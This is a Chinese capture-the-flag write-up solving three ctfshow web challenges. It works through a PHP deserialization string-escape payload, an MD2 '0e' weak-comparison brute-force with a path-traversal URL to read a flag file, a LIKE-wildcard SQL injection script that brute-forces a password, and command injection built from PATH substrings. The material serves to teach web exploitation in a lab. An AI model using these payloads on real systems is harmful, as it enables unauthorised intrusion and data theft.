ctfshow web 月饼杯

2024-05-29 05:44
文章标签 web 月饼 ctfshow

本文主要是介绍ctfshow web 月饼杯,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

web1_此夜圆

<?php
error_reporting(0);class a
{public $uname;public $password;public function __construct($uname,$password){$this->uname=$uname;$this->password=$password;}public function __wakeup(){if($this->password==='yu22x'){include('flag.php');echo $flag;	}else{echo 'wrong password';}}}function filter($string){return str_replace('Firebasky','Firebaskyup',$string);
}$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

一个简单的反序列化,一看字符逃逸,这里是9->11,就是少变多的情况
在这里插入图片描述
本地写出需要逃逸的字符

";s:8:"password";s:5:"yu22x";}

在这里插入图片描述
然后30个字符就用15个Firebasky来逃逸即可

?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}
反序列化就会解析到password=yu22x

web2_故人心

在这里插入图片描述

Is it particularly difficult to break MD2?!
I'll tell you quietly that I saw the payoad of the author.
But the numbers are not clear.have fun~~~~
xxxxx024452    hash("md2",$b)
xxxxxx48399    hash("md2",hash("md2",$b))
<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){$d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));if($d){highlight_file('hint.php');if(filter_var($url[1],FILTER_VALIDATE_URL)){$host=parse_url($url[1]);print_r($host); if(preg_match('/ctfshow\.com$/',$host['host'])){print_r(file_get_contents($url[1]));}else{echo '差点点就成功了!';}}else{echo 'please give me url!!!';}     }else{echo '想一想md5碰撞原理吧?!';}
}else{echo '第一个都过不了还想要flag呀?!';
}
第一个都过不了还想要flag呀?!
在php语言运算中。小数点后超过161位做平方运算时会被截断,但是超过323位又会失效。
也就是说,小数点位数在这个范围内的,就会舍弃掉小数部分。
我们传的a就要在161323位之间
考虑PHP中的弱类型比较,对于0e开头且后部分纯数字的字符串作0看
爆哈希
<?php 
for($i=0;$i<9999;$i++){$b = '0e'.$i.'024452';if($b == hash("md2", $b)){echo $b;break;}
}
echo "\n";
for($j=0;$j<9999;$j++){$c = '0e'.$j.'48399';if($c == hash("md2",hash("md2", $c))){echo $c;break;}
}
?>
?a=1e-200&b=0e652024452&c=0e603448399
hint:
$flag="flag in /fl0g.txt";
然后POST:
url=wo://ctfshow.com/../../../../../fl0g.txt
慢慢返回上级路径即可打印出flag

web3_莫负婵娟

在这里插入图片描述SELECT * FROM users where username like binary('$username') and password like binary('$password')

like注入
like模糊查询可以使用%匹配多个字符,_匹配单个字符。
用这个来测试密码长度发现有32
在这里插入图片描述

在这里插入图片描述
爆破密码

import requests
import stringstrs=string.digits+string.ascii_letters
url="https://579b01b2-a8c9-4ca1-afeb-4d46806557fa.challenge.ctf.show/login.php"pwd=''
for i in range(32):print('i= '+str(i+1),end='\t')for j in strs:password=pwd+j+(31-i)*'_'data={'username':'yu22x','password':password}r=requests.post(url,data=data)if 'wrong' not in r.text:pwd+=jprint(pwd)break
67815b0c009ee970fe4014abaa3Fa6A0

在这里插入图片描述
进入新页面
先用FUZZ 看看有什么字符可以用

密码本
<?php
for ($i=33;$i<127;$i++){echo chr($i);echo "\n";
}

在这里插入图片描述跑了一下只有大写字母和符号
环境变量构造

127.0.0.1;${PATH:5:1}${PATH:2:1}

在这里插入图片描述
同理构造

本来我是想用*这个通配符的但是被过滤了就只能用?这个通配符了
127.0.0.1;${PATH:14:1}${PATH:5:1} ????.???

这篇关于ctfshow web 月饼杯的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1012805

相关文章

如何使用Maven创建web目录结构

《如何使用Maven创建web目录结构》:本文主要介绍如何使用Maven创建web目录结构的问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录创建web工程第一步第二步第三步第四步第五步第六步第七步总结创建web工程第一步js通过Maven骨架创pytho

Java Web实现类似Excel表格锁定功能实战教程

《JavaWeb实现类似Excel表格锁定功能实战教程》本文将详细介绍通过创建特定div元素并利用CSS布局和JavaScript事件监听来实现类似Excel的锁定行和列效果的方法,感兴趣的朋友跟随... 目录1. 模拟Excel表格锁定功能2. 创建3个div元素实现表格锁定2.1 div元素布局设计2.

如何使用Haporxy搭建Web群集

《如何使用Haporxy搭建Web群集》Haproxy是目前比较流行的一种群集调度工具,同类群集调度工具有很多如LVS和Nginx,本案例介绍使用Haproxy及Nginx搭建一套Web群集,感兴趣的... 目录一、案例分析1.案例概述2.案例前置知识点2.1 HTTP请求2.2 负载均衡常用调度算法 2.

python web 开发之Flask中间件与请求处理钩子的最佳实践

《pythonweb开发之Flask中间件与请求处理钩子的最佳实践》Flask作为轻量级Web框架,提供了灵活的请求处理机制,中间件和请求钩子允许开发者在请求处理的不同阶段插入自定义逻辑,实现诸如... 目录Flask中间件与请求处理钩子完全指南1. 引言2. 请求处理生命周期概述3. 请求钩子详解3.1

SpringBoot项目Web拦截器使用的多种方式

《SpringBoot项目Web拦截器使用的多种方式》在SpringBoot应用中,Web拦截器(Interceptor)是一种用于在请求处理的不同阶段执行自定义逻辑的机制,下面给大家介绍Sprin... 目录一、实现 HandlerInterceptor 接口1、创建HandlerInterceptor实

Web技术与Nginx网站环境部署教程

《Web技术与Nginx网站环境部署教程》:本文主要介绍Web技术与Nginx网站环境部署教程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、Web基础1.域名系统DNS2.Hosts文件3.DNS4.域名注册二.网页与html1.网页概述2.HTML概述3.

Python使用Reflex构建现代Web应用的完全指南

《Python使用Reflex构建现代Web应用的完全指南》这篇文章为大家深入介绍了Reflex框架的设计理念,技术特性,项目结构,核心API,实际开发流程以及与其他框架的对比和部署建议,感兴趣的小伙... 目录什么是 ReFlex?为什么选择 Reflex?安装与环境配置构建你的第一个应用核心概念解析组件

Nginx使用Keepalived部署web集群(高可用高性能负载均衡)实战案例

《Nginx使用Keepalived部署web集群(高可用高性能负载均衡)实战案例》本文介绍Nginx+Keepalived实现Web集群高可用负载均衡的部署与测试,涵盖架构设计、环境配置、健康检查、... 目录前言一、架构设计二、环境准备三、案例部署配置 前端 Keepalived配置 前端 Nginx

JSON Web Token在登陆中的使用过程

《JSONWebToken在登陆中的使用过程》:本文主要介绍JSONWebToken在登陆中的使用过程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录JWT 介绍微服务架构中的 JWT 使用结合微服务网关的 JWT 验证1. 用户登录,生成 JWT2. 自定义过滤

一文教你如何将maven项目转成web项目

《一文教你如何将maven项目转成web项目》在软件开发过程中,有时我们需要将一个普通的Maven项目转换为Web项目,以便能够部署到Web容器中运行,本文将详细介绍如何通过简单的步骤完成这一转换过程... 目录准备工作步骤一:修改​​pom.XML​​1.1 添加​​packaging​​标签1.2 添加